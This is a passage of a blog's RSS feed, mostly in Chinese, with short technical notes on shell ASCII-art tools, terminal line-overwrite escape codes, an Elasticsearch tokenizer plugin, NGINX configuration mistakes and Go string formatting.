&lt;/tr>
&lt;tr>
&lt;td>uai&lt;/td>
&lt;td>壞 huai、快 kuai、踹 chuai&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>在 Shell 中輸出 ASCII 藝術字</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221021-shell-printing-ascii-art/</link><pubDate>Fri, 21 Oct 2022 17:30:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221021-shell-printing-ascii-art/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shell-printing-ascii-art" target="_blank" rel="noopener">在 Shell 中輸出 ASCII 藝術字&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="banner">banner&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install sysvbanner&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ banner hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### # # ####&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">###### ##### # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # # # # # #&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># # ###### ###### ###### ####&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="figlet-frank-ian-and-glenns-letters">FIGlet: Frank, Ian, and Glenn&amp;rsquo;s Letters&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install figlet&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ figlet hello
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ _ _
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| |__ ___| | | ___
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#960050;background-color:#1e0010">&amp;#39;&lt;/span>_ &lt;span style="color:#ae81ff">\ &lt;/span>/ _ &lt;span style="color:#ae81ff">\ &lt;/span>| |/ _ &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>| | | | __/ | | &lt;span style="color:#f92672">(&lt;/span>_&lt;span style="color:#f92672">)&lt;/span> |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_| |_|&lt;span style="color:#ae81ff">\_&lt;/span>__|_|_|&lt;span style="color:#ae81ff">\_&lt;/span>__/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-f&lt;/code> 選項可指定輸出的字型&lt;/li>
&lt;li>&lt;code>-l&lt;/code>、&lt;code>-c&lt;/code>、&lt;code>-r&lt;/code> 可將文字對齊到左、中、右&lt;/li>
&lt;/ul>
&lt;h5 id="toilet-figlet-with-more-options">TOIlet: FIGlet With More Options&lt;/h5>
&lt;blockquote>
&lt;p>&lt;code>sudo apt install toilet&lt;/code>&lt;/p></description></item><item><title>如何讓終端輸出覆蓋同一行</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221021-echo-printf-overwrite-terminal-line/</link><pubDate>Fri, 21 Oct 2022 17:29:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221021-echo-printf-overwrite-terminal-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/echo-printf-overwrite-terminal-line" target="_blank" rel="noopener">如何讓終端輸出覆蓋同一行&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="問題簡介">問題簡介&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span> To simulate the file processing
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: readme.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: veryPowerfulService.service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Processing file: log.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>DONE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="魔法碼-0330kr">「魔法碼」: &lt;code>\033[0K\r&lt;/code>&lt;/h5>
&lt;ul>
&lt;li>&lt;code>-n&lt;/code> 讓 echo 不輸出結尾的換行字元&lt;/li>
&lt;li>&lt;code>-e&lt;/code> 讓 echo 解讀反斜線逸出字元，例如 &lt;code>\n&lt;/code>（換行）與 &lt;code>\r&lt;/code>（回車）&lt;/li>
&lt;li>&lt;code>\033&lt;/code> - 逸出序列，也就是 ESC&lt;/li>
&lt;li>&lt;code>\033[&lt;/code> - 變成 &amp;ldquo;ESC [&amp;quot;，也就是控制序列引導字元（CSI）&lt;/li>
&lt;li>&lt;code>\033[0k&lt;/code> - 即 &amp;ldquo;CSI 0 K&amp;rdquo;，會清除從游標到行尾的文字&lt;/li>
&lt;li>&lt;code>\r&lt;/code> - 回車，將游標移回行首&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat print_status.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -ne &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo -e &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>!/bin/bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: readme.txt\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: veryPowerfulService.service\033[0K\r&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>printf &lt;span style="color:#e6db74">&amp;#34;[INFO] Processing file: log.txt\033[0K\r\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;DONE&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>ElasticSearch 学习笔记</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221006-elasticsearch/</link><pubDate>Thu, 06 Oct 2022 11:30:59 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221006-elasticsearch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jiajunhuang.com/articles/2022_10_06-elasticsearch.md.html" target="_blank" rel="noopener">ElasticSearch 学习笔记&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安装中文分词插件">安装中文分词插件&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker exec -it elasticsearch bash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v8.4.1/elasticsearch-analysis-ik-8.4.1.zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Dev Tools
&lt;ul>
&lt;li>&lt;code>content&lt;/code> 类型为 &lt;code>text&lt;/code>，写入时使用 &lt;code>ik_max_word&lt;/code> 做分词，搜索时使用 &lt;code>ik_smart&lt;/code> 分词。这两个的区别在于，前者产生尽可能多的分词，后者产生粗粒度的分词。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">PUT&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">/words&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;mappings&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;properties&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;content&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;text&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_max_word&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;search_analyzer&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ik_smart&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;age&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;type&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;integer&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;shards_acknowledged&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;index&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;words&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>《宝可梦：阿尔宙斯》双周目通关</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</link><pubDate>Mon, 19 Sep 2022 11:30:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220919-pokemon-legends-arceus-stage-clear/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://soulteary.com/2022/09/05/pokemon-legends-arceus-stage-clear.html" target="_blank" rel="noopener">《宝可梦：阿尔宙斯》双周目通关&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Avoiding the Top 10 NGINX Configuration Mistakes - NGINX</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</link><pubDate>Fri, 16 Sep 2022 15:22:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220916-avoiding-top-10-nginx-configuration-mistakes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.nginx.com/blog/avoiding-top-10-nginx-configuration-mistakes/" target="_blank" rel="noopener">Avoiding the Top 10 NGINX Configuration Mistakes - NGINX&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="1-每個-worker-的檔案描述元fd不夠">1) 每個 worker 的檔案描述元（FD）不夠&lt;/h2>
&lt;h3 id="問題點">問題點&lt;/h3>
&lt;ul>
&lt;li>&lt;code>worker_connections&lt;/code> 只限制 &lt;strong>單一 worker 可同時開啟的連線數&lt;/strong>（預設 512）。&lt;/li>
&lt;li>但每個連線/檔案/暫存檔/日誌都會消耗 &lt;strong>檔案描述元（FD）&lt;/strong>，而 OS 預設每個 process 常見是 1024。&lt;/li>
&lt;li>常見錯誤：只調大 &lt;code>worker_connections&lt;/code>，卻沒有同步提高 FD 限制，導致 worker 提早耗盡 FD。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式">修正方式&lt;/h3>
&lt;ul>
&lt;li>在 &lt;strong>main context&lt;/strong> 設定 &lt;code>worker_rlimit_nofile&lt;/code>，至少為 &lt;code>worker_connections&lt;/code> 的 2 倍（經驗值）。&lt;/li>
&lt;li>同時確認系統總 FD 上限 &lt;code>fs.file-max&lt;/code> 足夠：
&lt;code>worker_rlimit_nofile * worker_processes&lt;/code> 要明顯小於 &lt;code>fs.file-max&lt;/code>。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_connections&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>; &lt;span style="color:#75715e"># 在 events {} 內
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">worker_rlimit_nofile&lt;/span> &lt;span style="color:#ae81ff">2048&lt;/span>; &lt;span style="color:#75715e"># 在 main context
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="補充">補充&lt;/h3>
&lt;ul>
&lt;li>NGINX 當 proxy 時：client 連線 1 FD + upstream 連線 1 FD，可能還需要暫存檔 1 FD。&lt;/li>
&lt;li>若被 DoS 打滿 FD，甚至可能無法登入機器處置，因此要預留系統餘裕。&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="2-error_log-off-其實沒有關閉-error-log">2) &lt;code>error_log off&lt;/code> 其實沒有關閉 error log&lt;/h2>
&lt;h3 id="問題點-1">問題點&lt;/h3>
&lt;ul>
&lt;li>&lt;code>error_log&lt;/code> &lt;strong>不支援&lt;/strong> &lt;code>off&lt;/code> 參數。&lt;/li>
&lt;li>寫成 &lt;code>error_log off;&lt;/code> 會讓 NGINX 產生一個名為 &lt;code>off&lt;/code> 的檔案（通常在 &lt;code>/etc/nginx/&lt;/code>）。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式不建議真的關閉">修正方式（不建議真的關閉）&lt;/h3>
&lt;ul>
&lt;li>若真的必須停寫 error log（例如磁碟極度有限），改導到 &lt;code>/dev/null&lt;/code> 並限制等級：&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># main context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">error_log&lt;/span> &lt;span style="color:#e6db74">/dev/null&lt;/span> &lt;span style="color:#e6db74">emerg&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="補充-1">補充&lt;/h3>
&lt;ul>
&lt;li>這條生效前，NGINX 啟動/ reload 驗證設定的過程仍可能先寫到預設路徑（常見 &lt;code>/var/log/nginx/error.log&lt;/code>）。&lt;/li>
&lt;li>可用啟動參數 &lt;code>nginx -e &amp;lt;error_log_location&amp;gt;&lt;/code> 指定啟動階段的 error log 位置。&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="3-沒有對-upstream-啟用-keepalive導致連線來源埠耗盡">3) 沒有對 upstream 啟用 keepalive（導致連線/來源埠耗盡）&lt;/h2>
&lt;h3 id="問題點-2">問題點&lt;/h3>
&lt;ul>
&lt;li>預設：NGINX 對 upstream &lt;strong>每個 request 都新建連線&lt;/strong>，連線建立/關閉都有成本。&lt;/li>
&lt;li>高流量時會放大 OS 資源消耗；且連線關閉後會進入 &lt;code>TIME-WAIT&lt;/code>，可能導致 &lt;strong>來源埠（ephemeral ports）耗盡&lt;/strong>，進而無法建立新連線。&lt;/li>
&lt;/ul>
&lt;h3 id="修正方式-1">修正方式&lt;/h3>
&lt;p>&lt;strong>(A) 在每個 &lt;code>upstream {}&lt;/code> 內加 &lt;code>keepalive&lt;/code>&lt;/strong>&lt;/p></description></item><item><title>Go 字串格式化</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220908-string-format/</link><pubDate>Thu, 08 Sep 2022 11:32:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220908-string-format/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zetcode.com/golang/string-format/" target="_blank" rel="noopener">Go 字串格式化&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.liwenzhou.com/posts/Go/fmt/" target="_blank" rel="noopener">Go 語言 fmt.Printf 使用指南&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>結尾的動詞（verb）決定對應參數的型別與解讀方式。&lt;/p>
&lt;ul>
&lt;li>&lt;code>d&lt;/code> - 十進位整數&lt;/li>
&lt;li>&lt;code>o&lt;/code> - 八進位整數&lt;/li>
&lt;li>&lt;code>O&lt;/code> - 帶有 &lt;code>0o&lt;/code> 前綴的八進位整數&lt;/li>
&lt;li>&lt;code>b&lt;/code> - 二進位整數&lt;/li>
&lt;li>&lt;code>x&lt;/code> - 十六進位整數（小寫）&lt;/li>
&lt;li>&lt;code>X&lt;/code> - 十六進位整數（大寫）&lt;/li>
&lt;li>&lt;code>f&lt;/code> - 十進位浮點數（小寫）&lt;/li>
&lt;li>&lt;code>F&lt;/code> - 十進位浮點數（大寫）&lt;/li>
&lt;li>&lt;code>e&lt;/code> - 科學記號（尾數/指數，小寫）&lt;/li>
&lt;li>&lt;code>E&lt;/code> - 科學記號（尾數/指數，大寫）&lt;/li>
&lt;li>&lt;code>g&lt;/code> - &lt;code>%e&lt;/code> 或 &lt;code>%f&lt;/code> 的最短表示&lt;/li>
&lt;li>&lt;code>G&lt;/code> - &lt;code>%E&lt;/code> 或 &lt;code>%F&lt;/code> 的最短表示&lt;/li>
&lt;li>&lt;code>c&lt;/code> - 以 Unicode 碼點表示的字元&lt;/li>
&lt;li>&lt;code>q&lt;/code> - 帶引號的字元&lt;/li>
&lt;li>&lt;code>U&lt;/code> - Unicode 逸出序列&lt;/li>
&lt;li>&lt;code>t&lt;/code> - true 或 false 字串&lt;/li>
&lt;li>&lt;code>s&lt;/code> - 字串&lt;/li>
&lt;li>&lt;code>v&lt;/code> - 預設格式&lt;/li>
&lt;li>&lt;code>#v&lt;/code> - 值的 Go 語法表示&lt;/li>
&lt;li>&lt;code>T&lt;/code> - 值型別的 Go 語法表示&lt;/li>
&lt;li>&lt;code>p&lt;/code> - 指標位址&lt;/li>
&lt;li>&lt;code>%&lt;/code> - 雙 &lt;code>%%&lt;/code> 會輸出單一 &lt;code>%&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3 id="go-字串格式化索引">Go 字串格式化索引&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n1&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n3&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %d oranges %d apples %d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res&lt;/span>) &lt;span style="color:#75715e">// There are 2 oranges 3 apples 4 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res2&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;There are %[2]d oranges %d apples %[1]d plums&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n1&lt;/span>, &lt;span style="color:#a6e22e">n2&lt;/span>, &lt;span style="color:#a6e22e">n3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">res2&lt;/span>) &lt;span style="color:#75715e">// There are 3 oranges 4 apples 2 plums&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化精度">Go 字串格式化精度&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 17&lt;/span>
